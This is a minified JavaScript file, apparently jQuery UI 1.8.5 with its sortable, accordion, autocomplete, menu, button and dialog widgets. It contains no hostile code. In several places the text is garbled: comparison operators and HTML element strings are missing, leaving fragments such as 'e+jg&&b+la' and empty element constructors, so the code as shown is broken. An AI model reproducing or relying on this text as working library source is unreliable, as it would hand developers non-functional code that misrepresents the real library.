b=this.positionAbs.left,c=b+this.helperProportions.width,e=this.positionAbs.top,f=e+this.helperProportions.height,g=a.left,h=g+a.width,i=a.top,k=i+a.height,j=this.offset.click.top,l=this.offset.click.left;j=e+j>i&&e+jg&&b+la[this.floating?"width":"height"]?j:g0?"down":"up")}, +_getDragHorizontalDirection:function(){var a=this.positionAbs.left-this.lastPositionAbs.left;return a!=0&&(a>0?"right":"left")},refresh:function(a){this._refreshItems(a);this.refreshPositions();return this},_connectWith:function(){var a=this.options;return a.connectWith.constructor==String?[a.connectWith]:a.connectWith},_getItemsAsjQuery:function(a){var b=[],c=[],e=this._connectWith();if(e&&a)for(a=e.length-1;a>=0;a--)for(var f=d(e[a]),g=f.length-1;g>=0;g--){var h=d.data(f[g],"sortable");if(h&&h!= +this&&!h.options.disabled)c.push([d.isFunction(h.options.items)?h.options.items.call(h.element):d(h.options.items,h.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),h])}c.push([d.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):d(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]);for(a=c.length-1;a>=0;a--)c[a][0].each(function(){b.push(this)});return d(b)},_removeCurrentsFromItems:function(){for(var a= +this.currentItem.find(":data(sortable-item)"),b=0;b=0;f--)for(var g=d(e[f]),h=g.length-1;h>=0;h--){var i=d.data(g[h],"sortable"); +if(i&&i!=this&&!i.options.disabled){c.push([d.isFunction(i.options.items)?i.options.items.call(i.element[0],a,{item:this.currentItem}):d(i.options.items,i.element),i]);this.containers.push(i)}}for(f=c.length-1;f>=0;f--){a=c[f][1];e=c[f][0];h=0;for(g=e.length;h= +0;b--){var c=this.items[b],e=this.options.toleranceElement?d(this.options.toleranceElement,c.item):c.item;if(!a){c.width=e.outerWidth();c.height=e.outerHeight()}e=e.offset();c.left=e.left;c.top=e.top}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(b=this.containers.length-1;b>=0;b--){e=this.containers[b].element.offset();this.containers[b].containerCache.left=e.left;this.containers[b].containerCache.top=e.top;this.containers[b].containerCache.width= +this.containers[b].element.outerWidth();this.containers[b].containerCache.height=this.containers[b].element.outerHeight()}return this},_createPlaceholder:function(a){var b=a||this,c=b.options;if(!c.placeholder||c.placeholder.constructor==String){var e=c.placeholder;c.placeholder={element:function(){var f=d(document.createElement(b.currentItem[0].nodeName)).addClass(e||b.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!e)f.style.visibility="hidden";return f}, +update:function(f,g){if(!(e&&!c.forcePlaceholderSize)){g.height()||g.height(b.currentItem.innerHeight()-parseInt(b.currentItem.css("paddingTop")||0,10)-parseInt(b.currentItem.css("paddingBottom")||0,10));g.width()||g.width(b.currentItem.innerWidth()-parseInt(b.currentItem.css("paddingLeft")||0,10)-parseInt(b.currentItem.css("paddingRight")||0,10))}}}}b.placeholder=d(c.placeholder.element.call(b.element,b.currentItem));b.currentItem.after(b.placeholder);c.placeholder.update(b,b.placeholder)},_contactContainers:function(a){for(var b= +null,c=null,e=this.containers.length-1;e>=0;e--)if(!d.ui.contains(this.currentItem[0],this.containers[e].element[0]))if(this._intersectsWith(this.containers[e].containerCache)){if(!(b&&d.ui.contains(this.containers[e].element[0],b.element[0]))){b=this.containers[e];c=e}}else if(this.containers[e].containerCache.over){this.containers[e]._trigger("out",a,this._uiHash(this));this.containers[e].containerCache.over=0}if(b)if(this.containers.length===1){this.containers[c]._trigger("over",a,this._uiHash(this)); +this.containers[c].containerCache.over=1}else if(this.currentContainer!=this.containers[c]){b=1E4;e=null;for(var f=this.positionAbs[this.containers[c].floating?"left":"top"],g=this.items.length-1;g>=0;g--)if(d.ui.contains(this.containers[c].element[0],this.items[g].item[0])){var h=this.items[g][this.containers[c].floating?"left":"top"];if(Math.abs(h-f)this.containment[2])f=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])? +g:!(g-this.offset.click.topthis.containment[2])?f:!(f-this.offset.click.left=0;e--)if(d.ui.contains(this.containers[e].element[0],this.currentItem[0])&&!b){c.push(function(f){return function(g){f._trigger("receive", +g,this._uiHash(this))}}.call(this,this.containers[e]));c.push(function(f){return function(g){f._trigger("update",g,this._uiHash(this))}}.call(this,this.containers[e]))}}for(e=this.containers.length-1;e>=0;e--){b||c.push(function(f){return function(g){f._trigger("deactivate",g,this._uiHash(this))}}.call(this,this.containers[e]));if(this.containers[e].containerCache.over){c.push(function(f){return function(g){f._trigger("out",g,this._uiHash(this))}}.call(this,this.containers[e]));this.containers[e].containerCache.over= +0}}this._storedCursor&&d("body").css("cursor",this._storedCursor);this._storedOpacity&&this.helper.css("opacity",this._storedOpacity);if(this._storedZIndex)this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex);this.dragging=false;if(this.cancelHelperRemoval){if(!b){this._trigger("beforeStop",a,this._uiHash());for(e=0;e li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:false,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var a=this,b=a.options;a.running=0;a.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix"); +a.headers=a.element.find(b.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){b.disabled||c(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){b.disabled||c(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){b.disabled||c(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){b.disabled||c(this).removeClass("ui-state-focus")});a.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom"); +if(b.navigation){var d=a.element.find("a").filter(b.navigationFilter).eq(0);if(d.length){var f=d.closest(".ui-accordion-header");a.active=f.length?f:d.closest(".ui-accordion-content").prev()}}a.active=a._findActive(a.active||b.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all ui-corner-top");a.active.next().addClass("ui-accordion-content-active");a._createIcons();a.resize();a.element.attr("role","tablist");a.headers.attr("role","tab").bind("keydown.accordion",function(g){return a._keydown(g)}).next().attr("role", +"tabpanel");a.headers.not(a.active||"").attr({"aria-expanded":"false",tabIndex:-1}).next().hide();a.active.length?a.active.attr({"aria-expanded":"true",tabIndex:0}):a.headers.eq(0).attr("tabIndex",0);c.browser.safari||a.headers.find("a").attr("tabIndex",-1);b.event&&a.headers.bind(b.event.split(" ").join(".accordion ")+".accordion",function(g){a._clickHandler.call(a,g,this);g.preventDefault()})},_createIcons:function(){var a=this.options;if(a.icons){c("").addClass("ui-icon "+a.icons.header).prependTo(this.headers); +this.active.children(".ui-icon").toggleClass(a.icons.header).toggleClass(a.icons.headerSelected);this.element.addClass("ui-accordion-icons")}},_destroyIcons:function(){this.headers.children(".ui-icon").remove();this.element.removeClass("ui-accordion-icons")},destroy:function(){var a=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role");this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("tabIndex"); +this.headers.find("a").removeAttr("tabIndex");this._destroyIcons();var b=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");if(a.autoHeight||a.fillHeight)b.css("height","");return c.Widget.prototype.destroy.call(this)},_setOption:function(a,b){c.Widget.prototype._setOption.apply(this,arguments);a=="active"&&this.activate(b);if(a=="icons"){this._destroyIcons(); +b&&this._createIcons()}if(a=="disabled")this.headers.add(this.headers.next())[b?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(a){if(!(this.options.disabled||a.altKey||a.ctrlKey)){var b=c.ui.keyCode,d=this.headers.length,f=this.headers.index(a.target),g=false;switch(a.keyCode){case b.RIGHT:case b.DOWN:g=this.headers[(f+1)%d];break;case b.LEFT:case b.UP:g=this.headers[(f-1+d)%d];break;case b.SPACE:case b.ENTER:this._clickHandler({target:a.target},a.target); +a.preventDefault()}if(g){c(a.target).attr("tabIndex",-1);c(g).attr("tabIndex",0);g.focus();return false}return true}},resize:function(){var a=this.options,b;if(a.fillSpace){if(c.browser.msie){var d=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}b=this.element.parent().height();c.browser.msie&&this.element.parent().css("overflow",d);this.headers.each(function(){b-=c(this).outerHeight(true)});this.headers.next().each(function(){c(this).height(Math.max(0,b-c(this).innerHeight()+ +c(this).height()))}).css("overflow","auto")}else if(a.autoHeight){b=0;this.headers.next().each(function(){b=Math.max(b,c(this).height("").height())}).height(b)}return this},activate:function(a){this.options.active=a;a=this._findActive(a)[0];this._clickHandler({target:a},a);return this},_findActive:function(a){return a?typeof a==="number"?this.headers.filter(":eq("+a+")"):this.headers.not(this.headers.not(a)):a===false?c([]):this.headers.filter(":eq(0)")},_clickHandler:function(a,b){var d=this.options; +if(!d.disabled)if(a.target){a=c(a.currentTarget||b);b=a[0]===this.active[0];d.active=d.collapsible&&b?false:this.headers.index(a);if(!(this.running||!d.collapsible&&b)){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header);if(!b){a.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(d.icons.header).addClass(d.icons.headerSelected); +a.next().addClass("ui-accordion-content-active")}h=a.next();f=this.active.next();g={options:d,newHeader:b&&d.collapsible?c([]):a,oldHeader:this.active,newContent:b&&d.collapsible?c([]):h,oldContent:f};d=this.headers.index(this.active[0])>this.headers.index(a[0]);this.active=b?c([]):a;this._toggle(h,f,g,b,d)}}else if(d.collapsible){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header); +this.active.next().addClass("ui-accordion-content-active");var f=this.active.next(),g={options:d,newHeader:c([]),oldHeader:d.active,newContent:c([]),oldContent:f},h=this.active=c([]);this._toggle(h,f,g)}},_toggle:function(a,b,d,f,g){var h=this,e=h.options;h.toShow=a;h.toHide=b;h.data=d;var j=function(){if(h)return h._completed.apply(h,arguments)};h._trigger("changestart",null,h.data);h.running=b.size()===0?a.size():b.size();if(e.animated){d={};d=e.collapsible&&f?{toShow:c([]),toHide:b,complete:j, +down:g,autoHeight:e.autoHeight||e.fillSpace}:{toShow:a,toHide:b,complete:j,down:g,autoHeight:e.autoHeight||e.fillSpace};if(!e.proxied)e.proxied=e.animated;if(!e.proxiedDuration)e.proxiedDuration=e.duration;e.animated=c.isFunction(e.proxied)?e.proxied(d):e.proxied;e.duration=c.isFunction(e.proxiedDuration)?e.proxiedDuration(d):e.proxiedDuration;f=c.ui.accordion.animations;var i=e.duration,k=e.animated;if(k&&!f[k]&&!c.easing[k])k="slide";f[k]||(f[k]=function(l){this.slide(l,{easing:k,duration:i||700})}); +f[k](d)}else{if(e.collapsible&&f)a.toggle();else{b.hide();a.show()}j(true)}b.prev().attr({"aria-expanded":"false",tabIndex:-1}).blur();a.prev().attr({"aria-expanded":"true",tabIndex:0}).focus()},_completed:function(a){this.running=a?0:--this.running;if(!this.running){this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""});this.toHide.removeClass("ui-accordion-content-active");this._trigger("change",null,this.data)}}});c.extend(c.ui.accordion,{version:"1.8.5",animations:{slide:function(a, +b){a=c.extend({easing:"swing",duration:300},a,b);if(a.toHide.size())if(a.toShow.size()){var d=a.toShow.css("overflow"),f=0,g={},h={},e;b=a.toShow;e=b[0].style.width;b.width(parseInt(b.parent().width(),10)-parseInt(b.css("paddingLeft"),10)-parseInt(b.css("paddingRight"),10)-(parseInt(b.css("borderLeftWidth"),10)||0)-(parseInt(b.css("borderRightWidth"),10)||0));c.each(["height","paddingTop","paddingBottom"],function(j,i){h[i]="hide";j=(""+c.css(a.toShow[0],i)).match(/^([\d+-.]+)(.*)$/);g[i]={value:j[1], +unit:j[2]||"px"}});a.toShow.css({height:0,overflow:"hidden"}).show();a.toHide.filter(":hidden").each(a.complete).end().filter(":visible").animate(h,{step:function(j,i){if(i.prop=="height")f=i.end-i.start===0?0:(i.now-i.start)/(i.end-i.start);a.toShow[0].style[i.prop]=f*g[i.prop].value+g[i.prop].unit},duration:a.duration,easing:a.easing,complete:function(){a.autoHeight||a.toShow.css("height","");a.toShow.css({width:e,overflow:d});a.complete()}})}else a.toHide.animate({height:"hide",paddingTop:"hide", +paddingBottom:"hide"},a);else a.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},a)},bounceslide:function(a){this.slide(a,{easing:a.down?"easeOutBounce":"swing",duration:a.down?1E3:200})}}})})(jQuery); +;/* + * jQuery UI Autocomplete 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Autocomplete + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + * jquery.ui.position.js + */ +(function(e){e.widget("ui.autocomplete",{options:{appendTo:"body",delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},_create:function(){var a=this,b=this.element[0].ownerDocument;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(c){if(!a.options.disabled){var d=e.ui.keyCode;switch(c.keyCode){case d.PAGE_UP:a._move("previousPage", +c);break;case d.PAGE_DOWN:a._move("nextPage",c);break;case d.UP:a._move("previous",c);c.preventDefault();break;case d.DOWN:a._move("next",c);c.preventDefault();break;case d.ENTER:case d.NUMPAD_ENTER:a.menu.element.is(":visible")&&c.preventDefault();case d.TAB:if(!a.menu.active)return;a.menu.select(c);break;case d.ESCAPE:a.element.val(a.term);a.close(c);break;default:clearTimeout(a.searching);a.searching=setTimeout(function(){if(a.term!=a.element.val()){a.selectedItem=null;a.search(null,c)}},a.options.delay); +break}}}).bind("focus.autocomplete",function(){if(!a.options.disabled){a.selectedItem=null;a.previous=a.element.val()}}).bind("blur.autocomplete",function(c){if(!a.options.disabled){clearTimeout(a.searching);a.closing=setTimeout(function(){a.close(c);a._change(c)},150)}});this._initSource();this.response=function(){return a._response.apply(a,arguments)};this.menu=e("
    ").addClass("ui-autocomplete").appendTo(e(this.options.appendTo||"body",b)[0]).mousedown(function(c){var d=a.menu.element[0]; +c.target===d&&setTimeout(function(){e(document).one("mousedown",function(f){f.target!==a.element[0]&&f.target!==d&&!e.ui.contains(d,f.target)&&a.close()})},1);setTimeout(function(){clearTimeout(a.closing)},13)}).menu({focus:function(c,d){d=d.item.data("item.autocomplete");false!==a._trigger("focus",null,{item:d})&&/^key/.test(c.originalEvent.type)&&a.element.val(d.value)},selected:function(c,d){d=d.item.data("item.autocomplete");var f=a.previous;if(a.element[0]!==b.activeElement){a.element.focus(); +a.previous=f}if(false!==a._trigger("select",c,{item:d})){a.term=d.value;a.element.val(d.value)}a.close(c);a.selectedItem=d},blur:function(){a.menu.element.is(":visible")&&a.element.val()!==a.term&&a.element.val(a.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu");e.fn.bgiframe&&this.menu.element.bgiframe()},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup"); +this.menu.element.remove();e.Widget.prototype.destroy.call(this)},_setOption:function(a,b){e.Widget.prototype._setOption.apply(this,arguments);a==="source"&&this._initSource();if(a==="appendTo")this.menu.element.appendTo(e(b||"body",this.element[0].ownerDocument)[0])},_initSource:function(){var a=this,b,c;if(e.isArray(this.options.source)){b=this.options.source;this.source=function(d,f){f(e.ui.autocomplete.filter(b,d.term))}}else if(typeof this.options.source==="string"){c=this.options.source;this.source= +function(d,f){a.xhr&&a.xhr.abort();a.xhr=e.getJSON(c,d,function(g,i,h){h===a.xhr&&f(g);a.xhr=null})}}else this.source=this.options.source},search:function(a,b){a=a!=null?a:this.element.val();this.term=this.element.val();if(a.length").data("item.autocomplete",b).append(e("").text(b.label)).appendTo(a)},_move:function(a,b){if(this.menu.element.is(":visible"))if(this.menu.first()&&/^previous/.test(a)||this.menu.last()&&/^next/.test(a)){this.element.val(this.term);this.menu.deactivate()}else this.menu[a](b);else this.search(null,b)},widget:function(){return this.menu.element}});e.extend(e.ui.autocomplete,{escapeRegex:function(a){return a.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")}, +filter:function(a,b){var c=new RegExp(e.ui.autocomplete.escapeRegex(b),"i");return e.grep(a,function(d){return c.test(d.label||d.value||d)})}})})(jQuery); +(function(e){e.widget("ui.menu",{_create:function(){var a=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(b){if(e(b.target).closest(".ui-menu-item a").length){b.preventDefault();a.select(b)}});this.refresh()},refresh:function(){var a=this;this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem").children("a").addClass("ui-corner-all").attr("tabindex", +-1).mouseenter(function(b){a.activate(b,e(this).parent())}).mouseleave(function(){a.deactivate()})},activate:function(a,b){this.deactivate();if(this.hasScroll()){var c=b.offset().top-this.element.offset().top,d=this.element.attr("scrollTop"),f=this.element.height();if(c<0)this.element.attr("scrollTop",d+c);else c>=f&&this.element.attr("scrollTop",d+c-f+b.height())}this.active=b.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end();this._trigger("focus",a,{item:b})}, +deactivate:function(){if(this.active){this.active.children("a").removeClass("ui-state-hover").removeAttr("id");this._trigger("blur");this.active=null}},next:function(a){this.move("next",".ui-menu-item:first",a)},previous:function(a){this.move("prev",".ui-menu-item:last",a)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(a,b,c){if(this.active){a=this.active[a+"All"](".ui-menu-item").eq(0); +a.length?this.activate(c,a):this.activate(c,this.element.children(b))}else this.activate(c,this.element.children(b))},nextPage:function(a){if(this.hasScroll())if(!this.active||this.last())this.activate(a,this.element.children(":first"));else{var b=this.active.offset().top,c=this.element.height(),d=this.element.children("li").filter(function(){var f=e(this).offset().top-b-c+e(this).height();return f<10&&f>-10});d.length||(d=this.element.children(":last"));this.activate(a,d)}else this.activate(a,this.element.children(!this.active|| +this.last()?":first":":last"))},previousPage:function(a){if(this.hasScroll())if(!this.active||this.first())this.activate(a,this.element.children(":last"));else{var b=this.active.offset().top,c=this.element.height();result=this.element.children("li").filter(function(){var d=e(this).offset().top-b+c-e(this).height();return d<10&&d>-10});result.length||(result=this.element.children(":first"));this.activate(a,result)}else this.activate(a,this.element.children(!this.active||this.first()?":last":":first"))}, +hasScroll:function(){return this.element.height()").addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),d=this.options.icons,e=d.primary&&d.secondary;if(d.primary||d.secondary){b.addClass("ui-button-text-icon"+(e?"s":d.primary?"-primary":"-secondary"));d.primary&&b.prepend("");d.secondary&&b.append("");if(!this.options.text){b.addClass(e?"ui-button-icons-only":"ui-button-icon-only").removeClass("ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary"); +this.hasTitle||b.attr("title",c)}}else b.addClass("ui-button-text-only")}}});a.widget("ui.buttonset",{_create:function(){this.element.addClass("ui-buttonset");this._init()},_init:function(){this.refresh()},_setOption:function(b,c){b==="disabled"&&this.buttons.button("option",b,c);a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){this.buttons=this.element.find(":button, :submit, :reset, :checkbox, :radio, a, :data(button)").filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":visible").filter(":first").addClass("ui-corner-left").end().filter(":last").addClass("ui-corner-right").end().end().end()}, +destroy:function(){this.element.removeClass("ui-buttonset");this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy");a.Widget.prototype.destroy.call(this)}})})(jQuery); +;/* + * jQuery UI Dialog 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Dialog + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + * jquery.ui.button.js + * jquery.ui.draggable.js + * jquery.ui.mouse.js + * jquery.ui.position.js + * jquery.ui.resizable.js + */ +(function(c,j){c.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:{my:"center",at:"center",of:window,collision:"fit",using:function(a){var b=c(this).css(a).offset().top;b<0&&c(this).css("top",a.top-b)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title"); +if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var a=this,b=a.options,d=b.title||" ",f=c.ui.dialog.getTitleId(a.element),g=(a.uiDialog=c("
    ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b.dialogClass).css({zIndex:b.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(i){if(b.closeOnEscape&&i.keyCode&&i.keyCode===c.ui.keyCode.ESCAPE){a.close(i);i.preventDefault()}}).attr({role:"dialog", +"aria-labelledby":f}).mousedown(function(i){a.moveToTop(false,i)});a.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g);var e=(a.uiDialogTitlebar=c("
    ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),h=c('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){h.addClass("ui-state-hover")},function(){h.removeClass("ui-state-hover")}).focus(function(){h.addClass("ui-state-focus")}).blur(function(){h.removeClass("ui-state-focus")}).click(function(i){a.close(i); +return false}).appendTo(e);(a.uiDialogTitlebarCloseText=c("")).addClass("ui-icon ui-icon-closethick").text(b.closeText).appendTo(h);c("").addClass("ui-dialog-title").attr("id",f).html(d).prependTo(e);if(c.isFunction(b.beforeclose)&&!c.isFunction(b.beforeClose))b.beforeClose=b.beforeclose;e.find("*").add(e).disableSelection();b.draggable&&c.fn.draggable&&a._makeDraggable();b.resizable&&c.fn.resizable&&a._makeResizable();a._createButtons(b.buttons);a._isOpen=false;c.fn.bgiframe&& +g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy();a.uiDialog.hide();a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");a.uiDialog.remove();a.originalTitle&&a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(a){var b=this,d;if(false!==b._trigger("beforeClose",a)){b.overlay&&b.overlay.destroy();b.uiDialog.unbind("keypress.ui-dialog"); +b._isOpen=false;if(b.options.hide)b.uiDialog.hide(b.options.hide,function(){b._trigger("close",a)});else{b.uiDialog.hide();b._trigger("close",a)}c.ui.dialog.overlay.resize();if(b.options.modal){d=0;c(".ui-dialog").each(function(){if(this!==b.uiDialog[0])d=Math.max(d,c(this).css("z-index"))});c.ui.dialog.maxZ=d}return b}},isOpen:function(){return this._isOpen},moveToTop:function(a,b){var d=this,f=d.options;if(f.modal&&!a||!f.stack&&!f.modal)return d._trigger("focus",b);if(f.zIndex>c.ui.dialog.maxZ)c.ui.dialog.maxZ= +f.zIndex;if(d.overlay){c.ui.dialog.maxZ+=1;d.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=c.ui.dialog.maxZ)}a={scrollTop:d.element.attr("scrollTop"),scrollLeft:d.element.attr("scrollLeft")};c.ui.dialog.maxZ+=1;d.uiDialog.css("z-index",c.ui.dialog.maxZ);d.element.attr(a);d._trigger("focus",b);return d},open:function(){if(!this._isOpen){var a=this,b=a.options,d=a.uiDialog;a.overlay=b.modal?new c.ui.dialog.overlay(a):null;d.next().length&&d.appendTo("body");a._size();a._position(b.position);d.show(b.show); +a.moveToTop(true);b.modal&&d.bind("keypress.ui-dialog",function(f){if(f.keyCode===c.ui.keyCode.TAB){var g=c(":tabbable",this),e=g.filter(":first");g=g.filter(":last");if(f.target===g[0]&&!f.shiftKey){e.focus(1);return false}else if(f.target===e[0]&&f.shiftKey){g.focus(1);return false}}});c(a.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus();a._isOpen=true;a._trigger("open");return a}},_createButtons:function(a){var b=this,d=false, +f=c("
    ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=c("
    ").addClass("ui-dialog-buttonset").appendTo(f);b.uiDialog.find(".ui-dialog-buttonpane").remove();typeof a==="object"&&a!==null&&c.each(a,function(){return!(d=true)});if(d){c.each(a,function(e,h){h=c.isFunction(h)?{click:h,text:e}:h;e=c("",h).unbind("click").click(function(){h.click.apply(b.element[0],arguments)}).appendTo(g);c.fn.button&&e.button()});f.appendTo(b.uiDialog)}},_makeDraggable:function(){function a(e){return{position:e.position, +offset:e.offset}}var b=this,d=b.options,f=c(document),g;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(e,h){g=d.height==="auto"?"auto":c(this).height();c(this).height(c(this).height()).addClass("ui-dialog-dragging");b._trigger("dragStart",e,a(h))},drag:function(e,h){b._trigger("drag",e,a(h))},stop:function(e,h){d.position=[h.position.left-f.scrollLeft(),h.position.top-f.scrollTop()];c(this).removeClass("ui-dialog-dragging").height(g); +b._trigger("dragStop",e,a(h));c.ui.dialog.overlay.resize()}})},_makeResizable:function(a){function b(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}a=a===j?this.options.resizable:a;var d=this,f=d.options,g=d.uiDialog.css("position");a=typeof a==="string"?a:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:d._minHeight(), +handles:a,start:function(e,h){c(this).addClass("ui-dialog-resizing");d._trigger("resizeStart",e,b(h))},resize:function(e,h){d._trigger("resize",e,b(h))},stop:function(e,h){c(this).removeClass("ui-dialog-resizing");f.height=c(this).height();f.width=c(this).width();d._trigger("resizeStop",e,b(h));c.ui.dialog.overlay.resize()}}).css("position",g).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight, +a.height)},_position:function(a){var b=[],d=[0,0],f;if(a){if(typeof a==="string"||typeof a==="object"&&"0"in a){b=a.split?a.split(" "):[a[0],a[1]];if(b.length===1)b[1]=b[0];c.each(["left","top"],function(g,e){if(+b[g]===b[g]){d[g]=b[g];b[g]=e}});a={my:b.join(" "),at:b.join(" "),offset:d.join(" ")}}a=c.extend({},c.ui.dialog.prototype.options.position,a)}else a=c.ui.dialog.prototype.options.position;(f=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(a); +f||this.uiDialog.hide()},_setOption:function(a,b){var d=this,f=d.uiDialog,g=f.is(":data(resizable)"),e=false;switch(a){case "beforeclose":a="beforeClose";break;case "buttons":d._createButtons(b);e=true;break;case "closeText":d.uiDialogTitlebarCloseText.text(""+b);break;case "dialogClass":f.removeClass(d.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b);break;case "disabled":b?f.addClass("ui-dialog-disabled"):f.removeClass("ui-dialog-disabled");break;case "draggable":b? +d._makeDraggable():f.draggable("destroy");break;case "height":e=true;break;case "maxHeight":g&&f.resizable("option","maxHeight",b);e=true;break;case "maxWidth":g&&f.resizable("option","maxWidth",b);e=true;break;case "minHeight":g&&f.resizable("option","minHeight",b);e=true;break;case "minWidth":g&&f.resizable("option","minWidth",b);e=true;break;case "position":d._position(b);break;case "resizable":g&&!b&&f.resizable("destroy");g&&typeof b==="string"&&f.resizable("option","handles",b);!g&&b!==false&& +d._makeResizable(b);break;case "title":c(".ui-dialog-title",d.uiDialogTitlebar).html(""+(b||" "));break;case "width":e=true;break}c.Widget.prototype._setOption.apply(d,arguments);e&&d._size()},_size:function(){var a=this.options,b;this.element.css({width:"auto",minHeight:0,height:0});if(a.minWidth>a.width)a.width=a.minWidth;b=this.uiDialog.css({height:"auto",width:a.width}).height();this.element.css(a.height==="auto"?{minHeight:Math.max(a.minHeight-b,0),height:c.support.minHeight?"auto":Math.max(a.minHeight- 